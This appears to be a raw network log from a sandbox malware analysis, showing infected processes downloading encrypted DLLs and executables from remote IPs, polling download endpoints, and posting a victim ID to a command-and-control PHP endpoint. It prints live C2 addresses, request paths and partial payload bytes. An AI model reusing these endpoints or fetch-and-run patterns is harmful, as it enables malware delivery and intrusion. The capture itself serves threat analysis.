Dec 13, 2024 01:51:27.679296970 CET	1236	IN	Data Raw: 37 00 89 75 f4 e8 ec fd ff ff 57 e8 ef 64 01 00 59 5f 8b 45 08 5e 5b c9 c2 0c 00 53 56 8b 74 24 0c 57 8b f9 8b 47 04 39 06 7e 02 89 06 8b 5c 24 14 53 e8 d0 e6 ff ff 8b 06 50 03 c3 50 8b cf e8 ec fa ff ff 5f 5e 5b c2 08 00 8b 44 24 08 ff 30 8b 44 Data Ascii: 7uWdY_E^[SVt$WG9~\$SPP_^[D$0D$0YY@W\|$D$xt.SVpFPVPVSjt$,8Af$A^G[_USVuE39Xt2WxS?ESAPQNPWuSuA
Dec 13, 2024 01:51:27.679363966 CET	1236	IN	Data Raw: 4d f4 e8 72 f8 ff ff f6 85 a4 fd ff ff 10 8b 7d f4 74 35 68 88 a6 41 00 8d 85 d0 fd ff ff 50 ff 15 24 a1 41 00 85 c0 74 33 68 80 a6 41 00 8d 85 d0 fd ff ff 50 ff 15 24 a1 41 00 85 c0 74 1d 57 e8 58 ff ff ff 59 eb 10 6a 00 57 ff d6 85 c0 74 4b 57 Data Ascii: Mr}t5hAP$At3hAP$AtWXYjWtKWAt@PSAqSAjutuAtW_3@W_3Y_^[=lAt3@Vt$VAu3@^ujVAtVA^3^VY^
Dec 13, 2024 01:51:27.799491882 CET	1236	IN	Data Raw: 8d 4d a4 e8 d0 dd ff ff 8d 4d b0 e8 c8 dd ff ff 8b 4d fc 8b 07 89 4d f8 8d 34 08 8d 4d d4 e8 e3 f3 ff ff 8a 0e 33 db eb 14 80 f9 3d 74 1d ff 75 f4 8d 4d d4 e8 d5 f4 ff ff 43 8a 0c 1e 8a c1 88 4d f4 e8 57 e7 ff ff 84 c0 74 de 68 e9 fd 00 00 8d 45 Data Ascii: MMMM4M3=tuMCMWthEPEP^PMuZuZYY ]M M<=EMu<"t<-uulYFYuE0AFe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49820	80.82.65.70	80	7436	C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:31.461293936 CET	412	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:51:32.828370094 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:32 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:51:32.863636971 CET	386	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:51:33.341073990 CET	224	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:33 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 13, 2024 01:51:33.354826927 CET	391	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:51:33.919333935 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:33 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 13, 2024 01:51:33.919368982 CET	224	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(ucc
Dec 13, 2024 01:51:33.919387102 CET	1236	IN	Data Raw: f9 ad 67 76 17 ac ab 0b db 40 d6 4d bb cd 29 6e a5 f1 4c c0 34 97 4f a7 0e ef fc 69 77 78 64 69 c1 97 d8 e5 76 6d 29 51 42 65 a8 c4 f5 a2 34 c7 ba 35 61 41 aa 57 a4 b7 cf 8b 03 c3 a3 26 de 8a 41 ec 05 e5 7f c7 58 21 a7 f2 0c 7b c0 5b 44 1a 6d 43 Data Ascii: gv@M)nL4Oiwxdivm)QBe45aAW&AX!{[DmC(^_iPUrl9L"?2Z,+V:R&!HJqa&uv5"+o%P4@.vgAY#i?_$J8sQ^I#sn`G}HC
Dec 13, 2024 01:51:33.919404984 CET	1236	IN	Data Raw: b8 96 c1 6b 69 27 5c ee c7 f9 89 a8 9e 4c 34 d5 75 9d fe 61 ca 18 4d 6f 0d 99 bc 16 23 4a 4b fb 31 9f 78 59 bb 31 c6 42 c1 b8 db d8 d2 09 84 0e 37 cd 9f 81 56 19 9f 47 ef 83 60 3c 07 f7 1b 6f 60 ce ba f3 16 fe 3c 27 3e b4 51 bc dc c3 26 bf 0f df Data Ascii: ki'\L4uaMo#JK1xY1B7VG`<o`<'>Q&Md42R32zD4:6vaG3~}safF4d\|a.V6.qz$C'^Y'=C]YA'6mo@{# }YniEVoD"8*k;
Dec 13, 2024 01:51:33.919420004 CET	1236	IN	Data Raw: 9b 84 b6 11 05 74 f4 6a 29 ea 95 12 3e 4e c6 5d 07 8a 8c 6e 0a 29 df c0 d0 dc 61 4a f2 87 c7 57 b7 17 8a ec 0d 94 4d 28 cc 70 af e6 39 a5 16 63 ea 3d 97 af a2 e0 b5 f0 4d db 26 a7 ce 90 e4 a4 5d c2 5d 0e 75 5a 74 b9 53 4e 57 3f b4 a7 76 c9 b2 72 Data Ascii: tj)>N]n)aJWM(p9c=M&]]uZtSNW?vr>o+X<T<RvNdl:b=l{bK)06(]LiR(:'hbJ5}V78t4L7xqmFJ-rBCk1^u^Xe@bZ@%
Dec 13, 2024 01:51:33.919435978 CET	1236	IN	Data Raw: 6c 07 1d c8 11 25 f2 1f 74 2d 83 1a ee 39 18 27 11 d8 19 a1 b5 bf 10 bd df 8b f4 fe 95 f6 97 67 5c 9b d1 1d 4d d2 1e e3 96 dc 44 87 9c e7 63 6c 14 6e 5a 9a 91 48 6d 6f 1d 74 74 9b 44 bc c1 38 4d d4 a2 a2 0b 5a 13 86 e8 70 1a 44 98 8f 4a ec 16 e7 Data Ascii: l%t-9'g\MDclnZHmottD8MZpDJ$ERJW'\VQMf.5gs6YQK-<2s{BSP\|@M;l%&\~LIOk{1X4/bMMMw /c)F1{FsI`Fa7^2z
Dec 13, 2024 01:51:33.919451952 CET	1236	IN	Data Raw: 87 4f 71 16 19 15 74 8a 5d 94 75 71 70 33 47 55 40 a1 28 f5 9d 11 8f 53 54 aa 32 97 a6 82 4d 0a 7f f4 8a 19 fb b8 68 d8 17 29 99 bc 3f 01 74 b8 67 78 d2 9b 58 8d f7 c6 05 43 3e cb ad f6 e4 57 f7 44 ea f7 c4 0d 07 6c ed 64 b8 d5 da d9 11 d4 c2 75 Data Ascii: Oqt]uqp3GU@(ST2Mh)?tgxXC>WDlduYc$<?`JM/XQBfWR1c<(+6EiWKH\'Wgru.g:TujQ[yo?tI4D}.@bA{2&9CFF:/
Dec 13, 2024 01:51:33.919471979 CET	1236	IN	Data Raw: 4f 89 d0 a6 d5 9b 38 95 6d ce ac 7f 28 70 87 18 0a 88 43 98 2f 21 03 f5 95 2b 8f 58 26 bc e2 ba 36 ef 73 60 b0 4a 91 87 9a 76 f9 dd 97 f3 2d 39 20 06 b6 b8 d6 7c 86 df 39 79 f0 24 c6 25 d3 27 0d f4 6c 63 13 16 78 70 b6 ba 06 47 c3 9d 8b 00 a2 3c Data Ascii: O8m(pC/!+X&6s`Jv-9 \|9y$%'lcxpG<$r<BUw~3_5.dJ>Exz+Rm0c=dD43Hz?VH4]dE2!&UaXM>o,c7&FXWyU(>\eyQ~UKV'
Dec 13, 2024 01:51:33.927943945 CET	1236	IN	Data Raw: 66 ad fb 03 47 37 00 49 94 d1 6b 1b e3 45 db 1c 6c f9 12 9d 86 80 23 90 3d 4a 64 cc df 07 f1 72 8d 3b 29 87 ab 5c ef b1 dd 98 62 83 3f f8 cd 00 6b 6b 64 78 2d b9 a7 80 e3 3c bf 10 ff 6c b7 4f 00 f3 21 0a 32 1a 96 9a 06 4e e1 19 59 21 d4 d2 dd 93 Data Ascii: fG7IkEl#=Jdr;)\b?kkdx-<lO!2NY!8hiq[Awyw:uw%}i=M"[$aizLVtx6/Nj+:S>w\|5-U3IW;'Hq8h OwFNRO
Dec 13, 2024 01:51:33.927997112 CET	1236	IN	Data Raw: 53 5a df 46 14 bd 26 3d 1f ff 51 74 60 c7 a7 64 e0 5e 75 73 42 dd 14 35 1a 33 e6 d1 88 e3 19 a0 6d 13 bf 33 3e 67 5c b7 91 eb 00 52 18 45 6d 67 f5 c7 ff 65 c2 5d 7f e2 94 a1 b7 50 ea 9e 80 78 f5 b2 6f 90 66 bf 9b 80 0c 58 e6 8f 12 fb 64 22 83 ab Data Ascii: SZF&=Qt`d^usB53m3>g\REmge]PxofXd"JP, XU@po5a^$RFB7z .z7Pb0'E,;rQ>$*HzJ9i8eBGRC-n;5Jcp-^ix:ML
Dec 13, 2024 01:51:33.936285019 CET	1236	IN	Data Raw: d7 44 b5 a5 9c 74 d6 46 fb 12 58 5b 61 b2 87 2f bc 5b 0e 14 b3 ba 6d d4 fb c1 5b be 43 4b 60 3c ea 73 25 01 ea 88 49 06 43 fa 7a fb b1 aa 20 54 41 79 85 96 5e 7d ae 60 c5 64 98 99 ae b2 19 01 0a 6a 17 5b ac 80 61 39 3e d2 ea a7 41 44 b1 b6 f2 88 Data Ascii: DtFX[a/[m[CK`<s%ICz TAy^}`dj[a9>AD&MoU$]Q,VSvD(}ZGn90IfZORKdMaKdD&a"eSL t#M}$Qg%R&Qfm-ggL9G"864)
Dec 13, 2024 01:51:34.602479935 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:51:35.106188059 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:34 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:51:38.087678909 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:51:38.596127033 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:38 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:51:40.629762888 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:51:41.113852978 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:40 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:51:43.324431896 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:51:43.815476894 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:43 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:51:45.987370968 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:51:46.481194973 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:46 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:51:48.530639887 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:51:49.022542000 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:48 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:51:51.063280106 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:51:51.550781965 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:51 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:51:53.598592997 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:51:54.085889101 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:53 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:51:56.110119104 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:51:56.618608952 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:56 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:51:58.641138077 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:51:59.131001949 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:58 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:52:01.189495087 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:52:01.676304102 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:52:01 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:52:05.557243109 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:52:06.230181932 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:52:05 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Dec 13, 2024 01:52:07.043639898 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:52:07.770931005 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:52:07 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU ((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49836	185.215.113.43	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:37.135049105 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 35 38 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014585001&unit=246122658369
Dec 13, 2024 01:51:38.484039068 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49839	31.41.244.11	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:38.608129978 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
